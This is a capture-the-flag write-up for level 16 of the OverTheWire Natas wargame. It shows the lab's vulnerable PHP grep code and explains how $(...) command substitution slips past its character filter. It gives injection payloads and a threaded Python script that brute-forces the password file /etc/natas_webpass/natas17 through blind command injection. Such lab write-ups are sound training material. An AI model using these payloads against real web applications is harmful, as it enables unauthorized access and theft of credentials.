Natas Solutions

This page contains my solutions for the Natas wargame challenges 16 - 20 from OverTheWire.

Solutions

Level 16 –> Level 17

URL: http://natas16.natas.labs.overthewire.org
Username: natas16
Password: [REDACTED]

Solution

1. Initial Analysis: Upon accessing the URL, I was presented with a familiar challenge involving a needle parameter. The goal was to perform command injection to read the file located at /etc/natas_webpass/natas17. To understand the challenge better, I examined the source code provided by the application:

   <?
   $key = "";
   
   if(array_key_exists("needle", $_REQUEST)) {
       $key = $_REQUEST["needle"];
   }
   
   if($key != "") {
       if(preg_match('/[;|&`\'"]/', $key)) {
           print "Input contains an illegal character!";
       } else {
           passthru("grep -i \"$key\" dictionary.txt");
       }
   }
   ?>
   

2. Understanding the Code: The application accepts a needle parameter, which is then used in a grep command to search through dictionary.txt. The preg_match function is used to filter out potentially dangerous characters such as ;, |, &, `, ', and ". However, the use of double quotes around $needle in the passthru function allows for shell command substitution using $(...). . and whitespace(%20) are still usable like in the previous challenge.

3. Initial Exploitation Attempts: I attempted to use a payload similar to one from a previous level: needle=.%20/etc/natas_webpass/natas17&submit=Search. This resulted in an empty output, indicating that the payload was not successful in extracting the password.

4. Testing Command Injection: To confirm the possibility of command injection, I used the payload $(sleep 5). This successfully executed the sleep command and returned the entire contents of dictionary.txt, confirming that command injection was possible.

5. Timing-Based Injection Attempts: I experimented with timing-based injection using newlines and if-fi shell blocks. The payload was structured as follows:

   $(if grep ^abc /etc/natas_webpass/natas17
   then sleep 5
   fi)
   

   This approach was able to bypass the Web Application Firewall (WAF), but it was not reliable due to unstable response timings and some payloads breaking the shell parser.

6. Final Strategy - Brute Force: I devised a strategy to brute force the password one character at a time. For each character candidate c, I tested the following pattern:

   $(grep ^<prefix+c> /etc/natas_webpass/natas17)
   

   By sending 62 requests in parallel using threads, I could determine the correct character by identifying which request returned the fewest lines. This process was repeated until the full 32-character password was constructed.

7. Implementation: The following Python script was used to automate the brute force attack:

   import requests
   import string
   from concurrent.futures import ThreadPoolExecutor, as_completed
   
   URL = "http://natas16.natas.labs.overthewire.org/index.php"
   AUTH = ("natas16", "REDACTED")
   CHARSET = string.ascii_letters + string.digits
   PASSWORD_LENGTH = 32
   MAX_WORKERS = 20
   
   session = requests.Session()
   session.auth = AUTH
   
   def probe_char(prefix, c):
       needle = f'$(grep ^{prefix + c} /etc/natas_webpass/natas17)'
       r = session.get(URL, params={"needle": needle, "submit": "Search"})
       return c, r.text.count("\n")
   
   def brute():
       found = ""
       print("[*] Starting blind injection attack...")
       with ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
           for pos in range(PASSWORD_LENGTH):
               futures = { executor.submit(probe_char, found, c): c for c in CHARSET }
               results = []
               for fut in as_completed(futures):
                   c, lines = fut.result()
                   results.append((c, lines))
               match_char, _ = min(results, key=lambda x: x[1])
               found += match_char
               print(f"[+] Found [{pos+1:02d}/{PASSWORD_LENGTH}]: {found}")
       print(f"\n[>] Password for natas17: {found}")
   
   if __name__ == "__main__":
       brute()
   

8. Outcome: Running this script successfully brute-forced each character of the password, ultimately revealing the complete password for the next challenge.

   TLDR: Sanitize input: Do not allow raw input to be used in shell commands!